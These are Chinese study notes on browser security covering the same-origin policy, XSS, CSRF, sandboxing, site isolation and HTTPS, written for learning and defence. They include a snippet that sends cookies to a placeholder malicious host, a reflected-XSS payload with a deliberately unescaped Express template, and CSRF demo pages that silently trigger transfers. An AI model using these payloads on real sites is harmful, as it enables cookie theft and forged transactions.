浏览器专栏学习-浏览器安全

此学习记录来自于极客时间专栏浏览器工作原理与实践，由于个人对这块内容比较感兴趣，所以花钱买了专栏，但看完总觉得什么都没记住，所以将一些重要内容记录下来。文中有老师课程中的原文和配图，已在课程留言区告知老师，如侵删。
如果对这块内容感兴趣，强烈建议去读一遍老师的课程，很有收获。

浏览器安全

浏览器安全可分为三大块--Web页面安全、浏览器网络安全和浏览器系统安全。

Web页面安全

假如web页面是开放的，没有任何限制，假如打开一个银行站点，然后又不小心打开一个恶意网站，如果没有安全措施，恶意站点就可以做很多事情：

修改银行站点DOM、CSSOM等信息。
在银行站点内部插入JavaScript脚本。
劫持用户登录的用户名和密码
读取银行站点的Cookie、indexDB等数据
甚至还可以将这些信息上传至自己的服务器，这样就可以在不知情的情况下伪造一些转账请求等信息。

所以，在没有安全保障的Web世界里，我们是没有隐私的，因此需要安全策略来保障我们的隐私和数据的安全。

这就引出了页面中最基础，最核心的安全策略：同源策略（Same-origin policy）

什么是同源策略？
如果两个URL的协议、域名和端口都相同，我们就称这两个URL同源。
浏览器默认两个相同的源之间是可以相互访问资源和操作DOM的，两个不同源之间若要相互访问资源或者操作DOM，那么会有一套基础的安全策略的制约，我们把这套安全策略称为同源策略。

同源策略具体表现在DOM、Web数据和网络三个层面。

第一个，DOM层面
同源策略限制了来自不同源的JavaScript脚本对当前DOM对象读和写的操作。
比如

https://www.baidu.com
https://www.baidu.com/s?wd=apple

在百度首页输入apple搜索会跳转到https://www.baidu.com/s?wd=apple，为了看得清楚，后面的内容我省略掉了。
以上两个URL协议都是https，域名都是www.baidu.com，端口号都默认是443，因此这两个URL属于同源。
然后在apple的搜索页打开控制台输入以下代码：

let pdom = opener.document;
pdom.body.style.display = 'none';

该代码中，对象opener指的是第一个页面的window对象，我们可以通过操作opener来控制第一个页面的DOM。

这样我们可以成功的将https://www.baidu.com页面隐藏掉。

如图所示：

父页面

子页面

同源子页面可以控制父页面

如果打开的第二个页面不是同源的，比如在百度首页点击左下角“关于百度”，到https://home.baidu.com/页面，那么由于域名不相同这两个URL就不是同源的，在关于百度页面对上一个页面进行操作的时候就会报错。
VM1731:1 Uncaught DOMException: Blocked a frame with origin "https://home.baidu.com" from accessing a cross-origin frame.
这就是同源策略的限制起到了作用。

第二个，数据层面
同源策略限制了不同源的站点读取当前站点的Cookie、IndexDB、LocalStorage等数据，由于同源策略，我们依然无法通过第二个页面的opener来访问第一个页面的Cookie、IndexDB、或者LocalStorage等内容。

第三个，网络层面
同源策略限制了通过XMLHttpRequest等方式将站点的数据发送给不同源的站点。
默认情况下不能访问跨域的资源。
贴个我觉得很重要的一个图：

XMLHttpRequest工作流程

安全和便利性的权衡

同源策略会隔离不同源的DOM、页面数据和网络通信，进而实现Web页面的安全性。
不过安全性和便利性是相互对立的，让不同的源之间绝对隔离，无疑是最安全的，但这也会让Web项目难以开发和维护，因此需要在这之间做出权衡，出让一些安全性来满足灵活性，浏览器出让同源策略的安全性有：

页面中可以嵌入第三方资源
同源策略要让一个页面的所有资源都来自一个源，也就是将该页面的所有HTML文件，JavaScript文件，CSS文件、图片等资源都部署在同一台服务器上，这违背了Web的初衷，也带来诸多限制，比如将不同的资源部署到不同的CDN上时，CDN上的资源就部署在另外一个域名上，因此我们就需要同源策略对页面引用资源开一个“口子”，让其任意引入外部资源。

但是有一个问题就是浏览器的首页内容会被一些恶意程序劫持，最常见的就是通过各种途径往HTML文件中插入恶意脚本。

当这段脚本随着HTML页面到达浏览器时，浏览器无法区分被插入文件是恶意的还是正常的，这样恶意脚本就寄生在页面中，当页面启动时，它可以修改用户的搜索结果，改变一些内容的连接指向等等。

除此之外，它还能将页面的敏感数据，如Cookie、IndexDB、LocalStorage等数据通过XSS等手段发送给服务器。比如当你不小心点了一个恶意链接时，恶意JavaScript代码可以读取页面数据并将其发送给服务器，如下面代码：

function onClick(){
    let url = `http://virus.com?cookie=${document.cookie}`
    window.open(url);
}

这段代码中，恶意脚本读取Cookie数据，并将其添加到恶意站点尾部，当打开该恶意页面时，恶意服务器就能接收到当前用户的Cookie信息。

以上就是一个典型的XSS攻击。为了解决XSS攻击，浏览器中引入了CSP(内容安全策略)，CSP的核心思想是让服务器决定浏览器能够加载哪些资源，让服务器决定浏览器是否能够执行内联JavaScript代码。通过这些手段就可以大大减少XSS攻击。

跨域资源共享和跨文档消息机制

同源策略会导致跨域问题，解决跨域问题有很多种方法，其中一种就是跨域资源共享（CORS），使用该机制可以进行跨域访问控制，从而使数据传输得以安全进行。

如果两个页面不是同源的，则无法相互操作DOM，但是实际中两个不同源的DOM可能需要通信，于是浏览器引入了跨文档消息机制，可以通过window.postMessage的JavaScript接口来和不同源的DOM进行通信。

Web页面安全-XSS攻击

XSS全称是Cross Site Scripting 为了与CSS区分故简称XSS,翻译为跨站脚本。
XSS攻击是指黑客往HTML文件中或者DOM中注入恶意脚本，从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。

当页面被注入恶意JS脚本，浏览器无法区分脚本是正常内容还是恶意脚本，所以恶意脚本也拥有了所有脚本的权限。

恶意脚本可以做的事情：

可以窃取Cookie信息。恶意脚本可以通过document.cookie获取cookie信息，然后通过ajax或者fetch加上CORS功能将数据发送给恶意服务器，恶意服务器拿到用户的Cookie之后，就可以在其他电脑上模拟用户的登录，然后进行转账等操作。
可以监听用户行为。恶意脚本可以用addEventListener接口来监听键盘事件，比如可以获取用户输入的信用卡信息，将其发送到恶意服务器。黑客获取信息可以干一些违法的事。
可以通过修改DOM伪造假的登录窗口，用来欺骗用户输入用户名和密码等信息。
还可以在页面内生成浮窗广告

恶意脚本是怎么注入的呢？？？

要想避免站点被注入恶意脚本，就要知道有哪些常见的注入方式。通常情况下，主要有存储型XSS攻击、反射型XSS攻击、和基于DOM的XSS攻击三种方式来注入恶意脚本。

1. 存储型XSS攻击

存储型XSS攻击

存储型XSS攻击大约需要以下步骤：

首先黑客利用站点漏洞将一段恶意JS脚本代码提交到网站数据库中。
然后用户访问网站包含恶意JS脚本的页面。
当用户浏览该页面时，恶意脚本就会将用户的Cookie信息等数据上传到服务器。

2. 反射型XSS攻击
反射型XSS攻击过程是这样的，恶意脚本属于用户发送给网站请求的一部分，随后网站又把恶意JS脚本返回给了用户，当恶意JS脚本在用户页面中被执行时，黑客就可以利用该脚本做一些恶意操作。

看如下例子：


var express = require('express');
var router = express.Router();


/* GET home page. */
router.get('/', function(req, res, next) {
  res.render('index', { title: 'Express',xss:req.query.xss });
});


module.exports = router;

<!DOCTYPE html>
<html>
<head>
  <title><%= title %></title>
  <link rel='stylesheet' href='/stylesheets/style.css' />
</head>
<body>
  <h1><%= title %></h1>
  <p>Welcome to <%= title %></p>
  <div>
      <%- xss %>
  </div>
</body>
</html>

用node搭建一个服务器，将URL中的xss参数内容显示在页面，<%- %> 语法HTML会被浏览器解析。
当浏览器地址为localhost:3000/?xss=200时，页面div输出的就是200，当浏览器地址为localhost:3000/?xss=<script>alert("xss攻击")</script>，那么这段从URL地址注入的脚本就会被页面执行。
通过这个操作，用户将一段含有恶意代码的请求提交给服务器，服务器接收到请求时，又将恶意代码反射给了浏览器，这就是反射型XSS攻击。

需要注意的是，Web服务器不会存储反射型XSS攻击的恶意脚本，这是和存储型XSS攻击不同的地方。

3. 基于DOM的XSS攻击
基于DOM的XSS攻击是不牵涉到页面Web服务器的，具体就是黑客通过各种手段，将恶意脚本注入到用户页面中，比如通过网络劫持在页面传输过程中修改HTML页面的内容，这种劫持类型很多，有通过WIFI路由器劫持的，有通过本地恶意软件来劫持的，它们的共同点是在Web资源传输过程中或者在用户使用页面的过程中修改Web页面的数据。

如何阻止XSS攻击？？？

存储型XSS和反射型XSS都需要经过Web服务器来处理，因此可以认为这两种类型的漏洞是服务端的安全漏洞，而基于DOM的XSS攻击全部是在浏览器端完成的，因此基于DOM的XSS攻击是属于前端的安全漏洞。
1. 服务器对输入脚本进行过滤或转码
不管是反射型还是存储型XSS攻击，都可以在服务端将一些关键的字符进行转码。

code:<script>alert('你被xss攻击了')</script>

过滤后：

code:

这样用户再次请求时，这段脚本在客户端是不可能执行的。
还有一种转码：

code:&lt;script&gt;alert(&#39;你被xss攻击了&#39;)&lt;/script&gt;

script标签被转换之后，即使脚本返回到页面页面也不会执行。

2. 充分利用CSP
CSP有如下几个功能：

限制加载其他域下的资源文件。这样即使黑客插入js文件，这个js文件也是无法加载的。
禁止向第三方域提交数据，这样用户数据也不会外泄。
禁止执行内联脚本和未授权脚本。
还提供了上报机制，这样可以帮助我们尽快发现有哪些XSS攻击，以便尽快修复问题。

因此，利用好CSP能够有效降低XSS攻击概率。

3. 使用HttpOnly属性

由于很多XSS攻击都是来盗用Cookie的，因此还可以用HttpOnly属性来保护Cookie的安全。

设置方法是服务器通过HTTP响应头将某些Cookie设置为HttpOnly标志，


set-cookie: NID=189=M8q2FtWbsR8RlcldPVt7qkrqR38LmFY9jUxkKo3-4Bi6Qu_ocNOat7nkYZUTzolHjFnwBw0izgsATSI7TZyiiiaV94qGh-BzEYsNVa7TZmjAYTxYTOM9L_-0CN9ipL6cXi8l6-z41asXtm2uEwcOC5oh9djkffOMhWqQrlnCtOI; expires=Sat, 18-Apr-2020 06:52:22 GMT; path=/; domain=.google.com; HttpOnly

使用HttpOnly标记的Cookie只能使用在HTTP请求过程中，所以无法通过JS来读取这段Cookie,可以通过Chrmoe开发者工具来查看哪些Cookie被标记了HttpOnly.

HttpOnly

其中NID这个Cookie是被HttpOnly属性勾选了，所以NID的内容是无法通过document.cookie来读取的。

由于js无法读取设置了HttpOnly属性的Cookie数据，所以即使页面被注入恶意js脚本，也是无法获取到Cookie，因此一些重要Cookie建议设置HttpOnly标志。

Web页面安全-CSRF攻击

CSRF应为全称是Cross-site request forgrey 又称为“跨站请求伪造”，是指黑客引诱用户打开黑客的网站，在黑客登录的网站中，利用用户的登录状态发起请求的跨站请求。简单来讲就是CSRF攻击就是黑客利用了用户的登录状态，并通过第三方的站点来做一些坏事。

通常当用户打开了黑客页面，黑客有三种方式实施CSRF攻击。

例子：

#同时支持POST和Get
#接口 
https://time.geekbang.org/sendcoin
#参数
##目标用户
user
##目标金额
number

假如以上是一个转账接口，支持post和get传参，通过上面的接口来模拟CSRF攻击

1. 自动发起GET请求
黑客最容易实施的攻击方式是自动发起GET请求，攻击方式可以参考以下代码：

<!DOCTYPE html>
<html>
  <body>
    <h1>黑客的站点：CSRF攻击演示</h1>
    <img src="https://time.geekbang.org/sendcoin?user=hacker&number=100">
  </body>
</html>

当打开该黑客页面时，黑客将转账接口隐藏在img标签内，欺骗浏览器这是一张图片资源，当该页面被加载，浏览器会自动发起img的资源请求，如果服务器没有对该请求做判断的话，那么服务器就会认为该请求是一个转账请求，于是用户账户上的100币就被转走到黑客账户上。

2. 自动发起POST请求
除了GET请求外还能伪造POST请求，当打开黑客站点时自动提交POST请求。可以参考以下代码：

<!DOCTYPE html>
<html>
<body>
  <h1>黑客的站点：CSRF攻击演示</h1>
  <form id='hacker-form' action="https://time.geekbang.org/sendcoin" method=POST>
    <input type="hidden" name="user" value="hacker" />
    <input type="hidden" name="number" value="100" />
  </form>
  <script> document.getElementById('hacker-form').submit(); </script>
</body>
</html>

这段代码中黑客在他的页面中构建了一个隐藏的表单，表单提交就是转账操作，当这个黑客网站被打开，表单会自动执行提交，当表单被提交之后，服务器就会进行转账操作。因此使用构建自动提交表单这种方式，就可以自动实现跨站点POST数据提交。

3. 引诱用户点击链接
除了自动发起GET和POST请求外，还有一种方式就是诱惑用户点击黑客站点上的链接。

<div>
  <img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg> </img> </div> <div>
  <a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_blank">
    点击下载美女照片
  </a>
</div>

这段黑客站点代码，页面放了一个美女图片，下面放了图片下载地址，而这个下载地址实际上是黑客用来转账的接口，一旦用户点击了这个链接，那么他的币就会被转到黑客账户上。

CSRF和XSS不同的是，CSRF攻击不需要将恶意代码注入用户的页面，仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。

如何防止CSRF攻击

首先分析CSRF特性

目标站点一定要有CSRF漏洞
用户登陆过目标站点，并且浏览器上保持该站点的登录状态。
需要用户打开一个第三方站点，也就是黑客的网站。

满足以上三点，黑客就可以对用户进行CSRF攻击了，与XSS攻击不同，CSRF不会往页面注入恶意脚本，因此黑客无法通过CSRF攻击来获取用户页面数据的；最关键的一点是要能找到服务器漏洞，所以对于CSRF攻击来说主要的防护手段是提升服务器的安全性。

避免CSRF攻击：
1. 充分利用好Cookie的SameSite属性
黑客会利用用户登录状态来发起CSRF攻击，而Cookie正是浏览器和服务器之间维护登录状态的一个关键数据，因此要阻止CSRF攻击，我们首先就要考虑在Cookie上来做文章。

通常CSRF攻击都是从第三方站点发起的，要防止CSRF攻击，我们最好能实现第三方站点发送请求时禁止Cookie的发送，因此在浏览器通过不同来源发送HTTP请求时，有如下区别：

如果是从第三方站点发起的请求，那么需要浏览器禁止发送某些关键Cookie数据到服务器；
如果是同一站点发起的请求，那么就需要保证Cookie数据正常发送。

Cookie的SameSite属性正是为了解决这个问题的，通过使用SameSite可以有效地降低SCRF攻击的风险。

那SameSite是怎么防止CSRF攻击的呢？

在HTTP响应头中，通过set-cookie字段设置Cookie时，可以带上SameSite选项，如下：

set-cookie: 1P_JAR=2019-10-20-06; expires=Tue, 19-Nov-2019 06:36:21 GMT; path=/; domain=.google.com; SameSite=none

SameSite选项通常有Stirct、Lax和None三个值

Strict最为严格。如果SameSite的值是Strict，那么浏览器会完全禁止第三方Cookie。假如黑客网站访问你的网站，你的网站某些Cookie设置了SameSite = Strict的话，那么这些Cookie是不会发送到你的服务器上的。只有从你的站点去请求你站点资源时，才会带上这些Cookie。
Lax相对宽松一点，在跨站点的情况下，从第三方站点的链接打开和从第三方站点提交GET的表单这两种方式都会携带Cookie。但如果在第三方站点中使用POST方法，或者通过img、iframe、等标签加载的URL，这些场景都不会携带Cookie。
如果使用None的话，在任何情况下都会发送Cookie数据。

对于防范CSRG攻击，可以针对实际情况将一些关键的Cookie设置为Strict或者Lax模式。这样跨站点请求时，这些关键的Cookie就不会被发送到服务器，从而使得黑客的CSRF攻击失效。

2. 验证请求的来源站点

另外一种防止CSRF攻击的策略，那就是在服务器端验证请求来源的站点。由于CSRF攻击大多来自第三方站点，因此服务器可以禁止来自第三方站点的请求。如何判断请求是否来自第三方呢？？

这就需要介绍HTTP请求头中的Referer和Origin属性了。

Referer是HTTP请求头中的一个字段，记录了该HTTP请求的来源地址。

Referer: https://www.jianshu.com/p/54167f4f35f2

虽然可以通过Referer告诉服务器HTTP请求的来源，但是有一些场景是不适合将来源URL暴露给服务器的，因此浏览器提供给开发者一个选项，可以不用上传Referer值，具体可参考Referer Policy。
但在服务端验证请求头中的Referer并不是太可靠，因此标准委员会又制定了Origin属性，在一些重要的场合，比如通过XMLHttpRequest、Fetch发起跨站请求或者通过POST方法请求时，都会带上Origin属性的。

POST请求时的Origin信息

Origin属性只包含了域名信息，并没有包含具体的URL路径，这是Origin和Referer的一个主要原因。Origin的值之所以不包含详细路径信息，是有站点因为安全考虑，不想把原站点的详细路径暴露给服务器。

因此服务器的策略是优先判断Origin，如果请求头中没有包含Orign属性，再根据实际情况判断是否使用Referer值。

3. CSRF Token除了以上两种方式，还可以采用CSRF Token来验证防止CSRF攻击。
第一步，在浏览器向服务器发起请求时，服务器生成一个CSRF Token。CSRF Token其实就是服务器生成的字符串，然后将该字符串植入到返回的页面中。

<!DOCTYPE html>
<html>
<body>
    <form action="https://time.geekbang.org/sendcoin" method="POST">
      <input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn">
      <input type="text" name="user">
      <input type="text" name="number">
      <input type="submit">
    </form>
</body>
</html>

第二步，在浏览器端如果要发起转账的请求，那么需要带上页面中的CSRF Token，然后服务器会验证该Token是否合法，如果是从第三方站点发出的请求，那么将无法获取到CSRF Token的值，所以即使发出了请求，服务器也会因为 CSRF Token不正确而拒绝请求。

浏览器系统安全

单进程架构的浏览器是不稳定的，只要浏览器进程中的任意一个功能出现异常都有可能影响到整个浏览器，如页面卡死，浏览器崩溃等。因此推出多进程架构来影响操作系统安全的。

浏览器本身的漏洞是单进程浏览器的一个主要问题，如果浏览器被曝出存在漏洞，那么在漏洞没有及时修复的情况下，黑客就有可能通过恶意的页面向浏览器中注入恶意程序，其中最常见的攻击方式就是利用缓冲区溢出，不过需要注意这种类型的攻击和XSS注入的脚本是不同的。

XSS攻击只是将恶意的JS脚本注入到页面中，虽然能窃取一些Cookie相关的数据，但是XSS无法对操作系统进行攻击。
而通过浏览器漏洞进行的攻击是可以入侵到浏览器进程内部的，可以读取和修改浏览器进程内部的任意内容，还可以穿透浏览器，在用户的操作系统上悄悄安装恶意软件、监听用户键盘输入信息以及读取用户用盘上的文件内容。

和XSS攻击页面相比，这类攻击无疑是枚核弹，它会将整个操作系统内部的内容都暴露给黑客。这样操作系统上所有的资料都是不安全的了。

安全视角下的多进程架构
现代浏览器的设计目标是安全、快速和稳定，而这种核弹级别杀伤力的安全问题就是一个很大的潜在威胁，因此在设计现代浏览器的体系架构时，需要解决这个问题。

现代浏览器采用了多进程架构，将渲染进程和浏览器进程做了分离。

浏览器内核和渲染进程

浏览器被划分为浏览器内核和渲染内核两个核心模块，其中浏览器内核是由网络进程、浏览器主进程、GPU进程组合成的，渲染内核包含渲染进程。那么我们在浏览器中打开一个页面这两个模块是这样配合的。

所有的网络资源都是通过浏览器内核来下载的，下载后的资源通过IPC将其提交给渲染进程（浏览器内核和渲染进程之间都是通过IPC来通信的）。然后渲染进程会对这些资源进行解析、绘制等操作。最终生成一幅图片。由浏览器内核模块负责显示这块图片。

关于浏览器多进程架构中进程之间通信繁琐复杂，为什么要这样做呢？？？

为什么一定要通过浏览器内核去请求资源，再将数据转发给渲染进程，而不是直接从进程内部去请求网络资源？
为什么渲染进程只负责生成页面图片，生成图片还要经过IPC通知浏览器内核模块，然后让浏览器内核去负责展示图片。

通过以上方式不是增加了工程复杂度吗？？？

要解释现代浏览器为什么要把这个流程弄这么复杂，就得从系统安全的角度来分析。

安全沙箱
解释这些问题之前，先了解一下安全沙箱。

由于渲染进程需要执行DOM解析、CSS解析、网络图片解码等操作，如果渲染进程中存在系统级别的漏洞，那么以上操作就有可能让恶意站点获取到渲染进程的控制权限，进而又获取操作系统的控制权限，这对于因用户来说非常危险。

因为网络资源的内容存在着各种可能性，所以浏览器会默认所有的网络资源都是不可信的，都是不安全的。但谁也不能保证浏览器不存在漏洞，只要出现漏洞，黑客就可以通过网络内容对用户发起攻击。

我们知道如果下载了一个恶意程序，但是没有执行它，那么恶意程序是不会生效的，同理，浏览器之于网络内容也是如此，浏览器可以安全地下载各种网络资源，但是如果要执行这些网络资源，比如解析HTML、解析CSS、执行JS、图片编解码等操作，就需要非常谨慎了，因为一不小心，黑客就会利用这些操作对含有漏洞的浏览器发起攻击。

基于以上原因，我们需要在渲染进程和操作系统之间建一道墙，即便渲染进程由于存在漏洞被黑客攻击，但由于这道墙，黑客就获取不到渲染进程之外的任何操作权限。将渲染进程和操作系统隔离的这道墙就是我们要聊的安全沙箱。

浏览器中的安全沙箱是利用操作系统提供的安全技术，让渲染进程在执行过程中无法访问或者修改操作系统中的数据，在渲染进程需要访问系统资源的时候，需要通过浏览器内核来实现，然后将访问的结果通过IPC转发给渲染进程。

安全沙箱最小的保护单位是进程，因为单进程浏览器需要频繁访问或者修改操作系统的数据，所以单进程浏览器是无法被安全沙箱保护的，而现代浏览器采用的多进程架构使得安全沙箱可以发挥作用。

安全沙箱如何影响各个模块功能？？
沙箱最小的保护单位是进程，并且能限制进程最操作系统的访问和修改，这就意味着如果要让安全沙箱应用在某个进程上，那么这个进程必须没有读写操作系统的功能，比如读写本地文件，发起网络请求，调用GPU接口等。

了解了被安全沙箱保护的进程会有一系列的受限操作之后，接下来我们就可以分析渲染进程和浏览器内核各自都有哪些职责，如下图：

浏览器内核和渲染进程各自职责

通过该图，由于渲染进程需要安全沙箱的保护，因此需要把在渲染进程内部涉及到和系统交互的功能都转移到浏览器内核中去实现。

那么安全沙箱是如何影响到各个模块功能的呢？
1. 持久存储
安全沙箱是如何影响到浏览器持久存储的。由于安全沙箱负责确保渲染进程无法直接访问用户的文件系统，但是在渲染进程内部有访问Cookie的需求、有上传文件的需求，为了解决这些文件的访问需求，所以现代浏览器将读写文件的操作全部放在了浏览器内核中实现，然后通过IPC将操作结果转发给渲染进程。

具体的将，如下文件内容的读写都是在浏览器内核中完成的：

存储Cookie数据的读写。通常浏览器内核会维护一个存放所有Cookie的Cookie数据库，然后当渲染进程通过JS来读取Cookie时，渲染进程会通过IPC将读取Cookie的信息发送给浏览器内核，浏览器内核读取Cookie之后，再将内容返回给渲染进程。
一些缓存文件的读写也是由浏览器内核实现的，比如网络文件缓存的读取。

2. 网络访问
同样有了安全沙箱的保护，在渲染进程内部也是不能直接访问网络的，如果要访问网络，则需要通过浏览器内核。不过浏览器内核在处理URL请求之前，会检查渲染进程是否有权限请求该URL，比如检查XMLHttpRequest或者Fetch是否是跨站点请求，或者检测HTTPS的站点中是否包含了HTTP的请求。

3. 用户交互
渲染进程实现了安全沙箱，还影响了一个非常重要的用户交互功能。

第一点，渲染进程需要渲染出位图，为了向用户显示渲染进程渲染出来的位图，渲染进程需要将生成好的位图发送到浏览器内核，然后浏览器内核将位图复制到屏幕上。

第二点，操作系统没有将用户输入事件直接传递给渲染进程，而是将这些事件传递给浏览器内核。然后浏览器内核再根据当前浏览器里面的状态来判断如何调度这些事件，如果当前焦点位于地址栏中，则输入事件会在浏览器内核内部处理；如果当前焦点在页面的区域内，则浏览器内核会将输入事件转发给渲染进程。

之所以这样设计，就是为了限制渲染进程有监控到用户输入事件的能力，所以所有的键盘鼠标事件都是由浏览器内核来接收的，然后浏览器内核再通过IPC将这些事件发送给渲染进程。

上面我们分析了由于渲染进程引入了安全沙箱，所以浏览器的持久存储、网络访问和用户交互等功能都不能在渲染进程内直接使用了，因此需要把这些功能迁移到浏览器内核中趋势线，这让原本比较简单的流程变得复杂了。

站点隔离（Site Isolation）

所谓站点隔离是指Chrome将同一站点（包含了相同根域名和相同协议的地址）中相互关联的页面放到同一个渲染进程中执行。

最开始Chrome划分渲染进程是以标签页为单位，但是有一些问题，一个标签页中可能包含了多个iframe，而这些iframe又有可能来自不同的站点，这就导致了多个不同站点中的内容通过iframe同时运行在同一个渲染进程中。

目前所有操作系统都面临两个A级漏洞--幽灵（Spectre）和熔断（Meltdown）,这两个漏洞是由处理器架构导致的，很难修补，黑客通过这两个漏洞可以直接入侵进程的内部，如果入侵的进程没有安全沙箱的保护，那么黑客还可以发起对操作系统的攻击。

如果一个银行站点包含了一个恶意iframe，然后这个恶意的iframe利用这两个A级漏洞去入侵渲染进程，那么恶意程序就能读取银行站点渲染进程内的所有内容了，这对于用户来说就存在很大风险了。

因此Chrome几年前就开始重构代码，将标签级的渲染进程重构为iframe级的渲染进程，然后严格按照同一站点的策略来分配渲染进程，这就是Chrome中的站点隔离。

实现了站点隔离，就可以将恶意的iframe隔离在恶意进程内部，使得它无法继续访问其他iframe进程的内容，因此也就无法攻击其他站点了。

浏览器网络安全

网络安全协议HTTPS

为了传输超文本文件，并且因为没有太强的加密传输的需求，所以HTTP一直保持铭文传输数据，但是这样的话，在传输过程中的每一个环节，数据都有可能被窃取或者篡改。这也意味着你和服务器之间可能还有个中间人，你们在通信过程中的一切内容都在中间人的掌握。

中间人攻击

从上图可以看出，使用HTTP传输的内容很容易被中间人窃取、伪造、篡改，通常这种攻击方式称为中间人攻击。

具体就是在将HTTP数据提交给TCP层之后，数据会经过用户电脑、wifi路由器、运营商和目标服务器，在这中间的每个环节，数据都有可能被窃取或篡改。比如用户电脑被黑客安装了恶意软件，那么恶意软件就能抓取和篡改所发出的HTTP请求的内容。或者用户不小心连接上了WiFi钓鱼路由器，那么数据也都能被黑客抓取或篡改。

在HTTP协议栈中引入安全层
鉴于HTTP的铭文传输使传输过程毫无安全性可言，且制约了网购，在线转账等场景应用，于是倒逼着引入加密方案。

从HTTP协议栈层面来看，我们可以在TCP和HTTP之间插入一个安全层，所有经过安全层的数据都会被加密或者解密。

HTTP VS HTTPS

从图中可以看出，HTTPS并非是一个新的协议，通常HTTP直接和TCP通信，HTTPS则先和安全层通信，然后安全层再和TCP层通信。也就是说HTTPS所有安全核心都在安全层，它不会影响到上面的HTTP协议，也不会影响到下面的TCP/IP，因此要搞清楚HTTPS是如何工作的，就要弄清楚安全层是怎么工作的。

总的来说，安全层有两个主要职责：对发起HTTP请求的数据进行加密操作和对接收到HTTP的内容进行解密操作。

HTTPS加密方式有很多种，现在目前都是使用添加数字证书的方式。以下简单介绍一下整个HTTPS加密发展历程。

使用对称加密。
对称加密指的是加密和解密都使用相同的秘钥。
缺点：协商秘钥过程容易被窃取
使用非对称加密。
非对称加密算法有A、B两把秘钥，如果你用A秘钥来加密，那么只能使用B秘钥来解密；反过来，如果用B秘钥来加密，那么只能用A秘钥来解密。
缺点：服务端用私钥加密的内容，可以通过它的公钥进行解密
对称加密和非对称加密搭配使用。
在传输阶段依然使用对称加密，但是对称加密的秘钥我们采用非对称加密来传输。
缺点：DNS劫持，不能保证服务器是可信的
添加数字证书。（引入权威机构保证服务器的可信性）
为了防止黑客通过DNS劫持IP并替换，需要服务器向浏览器提供一个证明，这个证明就是权威机构颁发给服务器的证书。
这个机构成为CA(Certificate Authority)，颁发的证书就称为数字证书（Digital Certificate）。
对于浏览器来说，数字证书有两个作用，一个是通过数字证书向浏览器证明服务器的身份，另一个是数字证书里面包含了服务器公钥。

最后总结一下HTTPS请求流程：

首先TCP三次握手建立连接
client发送对称加密套件列表 + 加密套件列表 + client-random;
server发送非对称加密套件 + 加密套件 + server-random + 数字证书 + 确认；
client验证证书有效性，并用client-random + server-random生成pre-master通过服务器公钥加密发送给server;
server收到pre-master,根据约定的加密算法对 client-random + server-random + premaster 解密生成master-secret,然后发送预定成功。
client收到同样的master-secret,对称加秘钥传输完毕。

HTTPS请求流程图